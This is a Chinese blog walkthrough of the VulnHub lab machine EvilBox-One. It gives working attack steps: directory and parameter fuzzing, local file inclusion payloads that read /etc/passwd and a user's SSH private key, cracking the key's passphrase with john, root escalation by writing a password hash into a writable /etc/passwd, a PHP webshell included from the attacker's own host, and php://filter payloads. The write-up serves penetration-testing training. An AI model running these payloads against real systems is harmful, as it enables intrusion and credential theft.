暂无图片
暂无图片
1
暂无图片
暂无图片
暂无图片

EvilBox - One靶机攻破

爱婷如命一生一世 2021-12-13
1631



靶机地址

kali地址
192.168.0.70/24或者192.168.0.102/24
192.168.0.208/24


靶机下载地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova

日期很新鲜的靶机,2021.8月的,建议在vbox中运行,难度描述是比较容易,最终取得root权限并夺取2个Flag。

这台靶机攻破的过程不算是很难,涉及了以下知识点:
·强制访问
·参数爆破
·文件包含
·PHP封装器
·任意文件读取
·SSH公钥登录
·离线密码破解
·passwd权限漏洞利用
但是其亮点在于参数爆破的一个技术点!在渗透过程中不要小看任何一个攻击点,若是错失了某些点,丧失了一个攻击面,那么渗透过程将会变得很艰难.....
话不多说,步入正题~~~


导入靶机之后,进行目标主机发现靶机的IP地址

arp-scan-l

除了这个常用的主机发现命令之外,还有一个fping的命令添加gqa的参数可以对整个网段的地址进行扫描。

└─# fping -gqa 192.168.0.1/24

在我的局域网中锁定了靶机的IP地址192.168.0.102


全端口扫描

└─# nmap -p- 192.168.0.102   

发现有22号端口和80端口。


端口的服务版本发现

nmap -A的参数包含了 -sV -o -sC的意思

└─# nmap -p 22,80 -A 192.168.0.102

通过nmap的扫描结果,得知目标靶机是一个linux版本的变种debian,对应的系统版本大概为4.15-5.6,以及SSH的算法有哪些,以及http服务的应用是apache等。


按照渗透惯例,打开网页输入192.168.0.102进行默认端口浏览,结果上来看没有想要的!

80端口上就只有apache的初始化配置页面。


针对apache服务,我想到了一个爬虫的文件,如图所示:

尝试在路径中输入http://192.168.0.102/robots.txt

得出来的结果,如图,我不确定这是一个路径的名称还是一个用户的名称

我用这个H4x0r 转化成用户名的ssh爆破和网络路径嗅探均无效果!


尝试加入网络路径也是不可以的(这里换了IP地址是因为我中途有中断了)

接下来就需要一些爆破的工具,这里我演示gobuster工具

gobuster工具使用

这款工具默认kali是没有安装的,直接输入点击y即可。

gobuster介绍

其功能和dirseache类似,除了web路径收集爆破,还可以对dns信息收集爆破,使用go语言开发(go语言是非常接近c语言)因此性能非常棒!

若是您的kali上没有seclists文件,请先下载seclist字典爆破文件。

─# apt install seclists -y   

这个包里内容包含了大量的路径以及密码的字典文件内容


使用gobuster 添加字典文件进行url爆破,并指定爆破文件类型(目标靶机系统是debian,大概率不会存在asp文件类型)

└─# gobuster dir -u http://192.168.0.70 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

在爆破过程中url 路径出现secret的路径

尝试在url添加该路径,结果显示为空白页,甚至查看了源码也是没有任何内容的


在等了2分钟左右的web目录爆破,最终的结果只有以下路径的存在



在真实的渗透过程中进行web目录爆破时,如果发现新的路径!一定要对新的路径进行进一步嗅探,看看其隐藏了什么。

这里,我对secret的新发现路径进行嗅探。

└─# gobuster dir -u http://192.168.0.70/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

发现了一个名叫evil的路径,经过翻译这个单词的意思是妖精,这引起了我的注意!

但是最终访问的结果空白页且源码无内容

在更换了其他爆破字典进行路径爆破,也没有发现其他路径了,到目前为止,仅仅发现了evil.php这个路径文件


在参阅互联网资料时我发现,对页面和路径的爬取之后就尝试用这些路径去访问,然后提交注入,payload等手段,。因此重点放在evil.php文件上!

首先我想到的就是对其页面进行参数爆破!

PHP页面文件是如何向服务器提交数据,在php页面的url中会存在参数,如图所示,会存在  ?mod=赋值  这样的形式。

因此,我们需要了解目标靶机中的php页面中会存在怎样的参数?方能对其参数进行数据注入的操作。

在我不知道目标靶机中evil.php存在哪些参数,开始参数爆破,使用两个变量的位置来进行爆破

变量1  参数名变量

变量2 赋值的变量




除了burpsite工具发送Intuder,还可以利用命令行来完成,这里利用fuff命令行来做演示(优势:不需利用大量的图形界面,减少系统载荷)。

ffuf  默认没有安装,首次使用请直接输入安装


指定两个字典文件,一个是burp专业版的集成之一的参数名称文件,一个是专门对参数赋值的字典文件

通常对参数的赋值字典文件,可以手动来填写一些内容,我这里编辑一个ass.txt字典文件,输入一些常见的字符,从而引发参数赋值反应(周而复始,暴利破解的原理)。


─# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w ass.txt:ASS -u http://192.168.0.70/secret/evil.php?PARAM=ASS -fs 0 

这里我添加了两个字典,并定义了两个字典的名字,最后用变量+赋值的形式去展现,但是最后的探测结果显示为失败了。

-fs的意思就是过滤掉不想看到的,指定0,因为当我在URL无效的参数,结果返回空白页,像这样的结果我是需要过滤掉的。

在没有得到嗅探的结果,返回来观察,目标靶机的默认首页文件

首先确认的是这个页面是一定存在在目标靶机中。

尝试替换参数名引用文件包含,看看系统遇到这样的漏洞会产生如何变化


fuzz 意思是模糊探测,用来替换参数名

参数的赋值等于../index.html  (因为在/evil.php的路径,因此需要用..来表示返回上一级目录)。

└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.0.70/secret/evil.php?FUZZ=../index.html -fs 0 

结果显示出一个command的路径名称。


找到这个路径之后,在浏览器尝试完整输入url,看到携带这个参数后能正常访问首页面

接下来,还是利用command参数携带赋值为evil.php页面http://192.168.0.70/secret/evil.php?command=evil.php

结果显示为空白页

和之前这样访问是一样的结果,充分证明了目标靶机这个路径存在文件包含的功能,至于包含漏洞现在还不能确认


文件包含引用

既然有了文件包含功能,尝试将路径切换到根目录,多切换几次上级目录结果显示一样是空白页!
这样我就再次确认了文件包含功能,再次尝试访问目标靶机url的etc的passwd关键位置.,针对对文件包含漏洞,可以用PHP封装器的思路解决,也可以用SSH用户爆破,这里我选用了后者(目标靶机只存在本地文件包含,不存在远程的文件包含)等打靶结束,我会针对只有本地包含的漏洞去尝试攻破


SSH用户爆破

结果显示出现了想要的内容,在仔细观察这个页面内容,我看到了一个用户,不是操作系统自带的用户,并且在扫描前得知有22号端口,我可以肯定的是这个mowree是SSH用户


探测目标靶机SSH登录身份认证方式

携带-v 参数,来显示在登录过程中目标靶机支持哪些SSH身份认证

输入yes,接受它的指纹文件

└─# ssh mowree@192.168.0.70 -v   

接下来,就提示我们需要输入密码,从这里得知ssh登录方式是密码验证(公钥和密码)

在严格安全策略的环境下,一般都是使用密钥对来进行登录,好定位责任。


既然目标靶机存在公私钥,那么目标靶机的主目录或者其他目录中一定存在的公钥文件。

通常Linux系统中SSH服务里sshd_config目录下存在公钥文件

因此这里尝试访问mowree用户家目录下默认的ssh文件

http://192.168.0.70/secret/evil.php?command=../../../../../../../home/mowree/.ssh/authorized_keys

结果显示出来了公钥信息(是mowree的公钥,算法是rsa)

如果算法是rsa,目标靶机的私钥文件名一定是id_rsa,如图所示:

在浏览器中输入

http://192.168.0.70/secret/evil.php?command=../../../../../../../home/mowree/.ssh/id_rsa

因为公钥已经存在目标靶机nowree目录中,因此拿到私钥就可以登录目标靶机而不需要登录就能实现边界突破。将私钥文件内容全部复制

在本地kali中生成一个id_rsa的私钥文件,注意一定要严格按照此格式,否则后续会提示你无效的格式。

SSH私钥文件进行设置

经过查询SSH公私钥配置,权限一定要给600


将秘钥文件权限修改成600


使用ssh连接,用户是mowree ,携带私钥文件id_rsa

如图所示,提示需要密码文!为打开私钥前设置的,说白了就是多加了一道密码!


为了解决这个密码问题,需要进行密码爆破,为了尽可能的爆破成功,在本地kali中找一个容量比较大的字典文件


将这个文件拷贝到本地并解压,看到这个字典的容量还是比较大的!

在kali中有一些离线的密码爆破工具,这里演示john工具

在演示爆破前需要将id_rsa文件格式转换成john可认的格式

先进入到john目录,找到这个ssh2john的Python脚本文件。

开始进行对id_rsa格式转换,并输出到我的主目录下的hash文件

┌──(root💀kali)-[/usr/share/john]

└─# ./ssh2john.py /home/fengxin/id_rsa > /home/fengxin/hash                                                 

查看hash这个文件


转换完成后就可以用john来爆破,这个就考验你的主机CPU的运算能力了

└─# john hash --wordlist=rockyou.txt  

如图所示:最终破解出这个私钥执行前的密码是unicorn


破解出来了密码之后,继续开始ssh带私钥方式登录目标靶机,输入破解的unicorn

如图所示:成功进入到系统,身份是mowree;

拿到第一个flag


成功登录后,下一步就要开始提权了;

针对linux系统提权的方法有很多,我来逐一的试试:

·计划任务列表,没有信息;

·sudo 列表也没有漏洞;

·查看系统版本为4.19


针对目标靶机的系统版本4.19,来利用kali的searchsploit进行漏洞挖掘

暂时也没有发现有用的漏洞


·suid漏洞方面提权

利用find 寻找权限,可以过滤出目标靶机中有哪些文件属主是root,并有suid的权限。

这个4000就代表了开启suid权限的匹配,并将报错文件放到黑洞文件中

mowree@EvilBoxOne:~$ find /  -perm  /4000 2>/dev/null 

在输出结果中,都是系统中可以执行的文件,不存在漏洞,没有什么可以利用的文件


甚至你可以在您本机的kali中输入这条命令,得出来的结果是一样的

在寻找不到suid的文件,可以尝试寻找sgid的文件,2000就代表了sgid

mowree@EvilBoxOne:~$ find /  -perm  /2000 2>/dev/null 

在输出结果中并没有发现sgid的文件漏洞。


无奈之下,将思路转换到目标靶机中是否存在写入的文件,若是有,有写入文件(类似执行脚本)就大概率存在有root权限,就可以执行提权操作了。

利用find  命令  - 参数  writable 搜索有写入权限的文件

mowree@EvilBoxOne:~$ find / wriable 2>/dev/null 

输出的结果是很多,在结果中遍历,有些系统目录是可以省略,例如proc.run.sys目录


过滤掉proc等这些目录,来看看最终的结果

mowree@EvilBoxOne:~$ find / wriable 2>/dev/null | grep -v proc

竟然发现了/etc/passwd这个文件为可写?我可是mowree用户啊!

这就让我有点小兴奋了,因为在linux系统在之中,/etc/passwd的权限是这样的!如图所示:除了root用户有写入权限,其他的用户账号只具有读取权限!

为了验证这个文件对mowree用户的权限,先来查看一下,结果证明passwd这个文件是对mowree用户有写入的权限的!

/etc/passwd这个文件存放了系统用户名和密码(为了安全,密码用x表示,y用来占位,而不能以密文显示,防止密文破解)以及目录等信息。


1000:1000 用户ID和组ID

而真正的用户密码是存放在/etc/shadow,而这个文件的权限只有root有读取,shadow组有可读权限,其他用户是没有任何权限的!提示权限拒绝!


既然对/etc/passwd有写入的权限,可以将x位用真实的密码替换掉的!

注意的是如果替换了x位的密码,那么shadow里面的密码将会失效。


操作对root 密码x位进行替换。

生成一个root密码文件,linux系统支持很多加密算法(密文形式展现)。

演示openssl的加密算法  -1指的是一种加密算法。

输入将要给root用户设置的密码,这里我输入clown

生成一个root账号密码的MD5密文

$1$DkCfhNvQ$3nF64PeKPFacMRCHE.pqV0  拷贝下来


直接编辑 /etc/passwd里root的x位

补充一些vi的命令,或许您能用的上

写入完成之后,就可以利用su命令直接切换到root用户,输入我明文密码clown

如图所示,到此为止提权成功!


PHP封装器

接之前的文件包含漏洞的方法,我这里演示 用PHP封装器来攻入。(最终结果是无效的,为的是在渗透过程中过一个思路。)


接下来按照目标靶机存在文件包含功能后,通常在本机的kali上写入一个webshell脚本文件,通过文件包含引用kali上的木马文件,从而突破边界。

在本地kali上的/var/www/html    路径下,写入一个v.php文件

<?php $var=shell_exec($_GET['cmd']); echo $var ?>


启动本地kali的apache服务,我的本地kaliIP地址是192.168.0.208

在浏览器输入

http://192.168.0.70/secret/evil.php?command=http://192.168.0.208/v.php?cmd=id

访问还是空白页,更换ls命令也是不行

证明目标靶机只存在本地文件包含,不存在远程的文件包含。看到这样的结果通常会利用PHP封装器里的I/O流访问功能。

php封装器

参考链接:https://www.php.net/manual/zh/wrappers.php.php

封装器类型有很多,这里只介绍php://filter,通过这个封装器功能将目标服务器很多文件通过编码转换的方式进行读取,实现任意文件的读取效果。


编码转换目标服务器任何存在的文件读取

http://192.168.0.70/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

页面显示为经过Base64字符格式编码转换的PHP文件内容,

当目标靶机收到浏览器来自PHP请求,目标靶机就会以PHP执行代码的方式处理这个请求。通常情况下是读取不到的,因此在这里需要转换成Base64编码的格式!

在输入浏览器已经确认的evil.php这个URL地址后,返回了以下内容:

PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==

0-9,a-z,A-Z 并且结尾以=号结尾的特征可以怀疑成Base64编码

可以在网上搜索Base64转换,直接可以看到源码是通过command函数读取赋值,将赋值结果通过include包含引用了

也可以利用burp suite的decoder转换功能,转换出来的程序源码结果也是一样的!

但是目前看起来这样的源码是不足以突破边界,因此需要再次更改php的封装器

在PHP封装器的语法中,不事先声明的话,程序会默认read读取目标靶机的文件,这里我不选择默认,我这里声明写入--write

插入一个写入的指令,向目标靶机中当前目录下写入一个Base64经过decode解码的内容,来确定目标靶机是否有写入的权限!

先将写入的内容用Base64编码出来,这里我用987转换后是OTg3

将OTg3尝试写入到test.php文件中,来证明是否可以向目标靶机写入shell文件了。

http://192.168.0.70/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php@txt=OTg3

页面显示为空白页

接下来证明当前目录是否有写入的权限,结果写入失败了,目标靶机的当前目录是不存在写入权限的。

这就是目标靶机中不存在远程文件包含后利用PHP封装器来测试是否有写权限的思路了!

总结这个靶机的过程,参数爆破是需要掌握的渗透技巧,发现了文件包含漏洞--command,这才有了PHP封装器和爆破SSH用户的思路,最后通过passwd文件权限不严格提权成功!


文章转载自爱婷如命一生一世,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论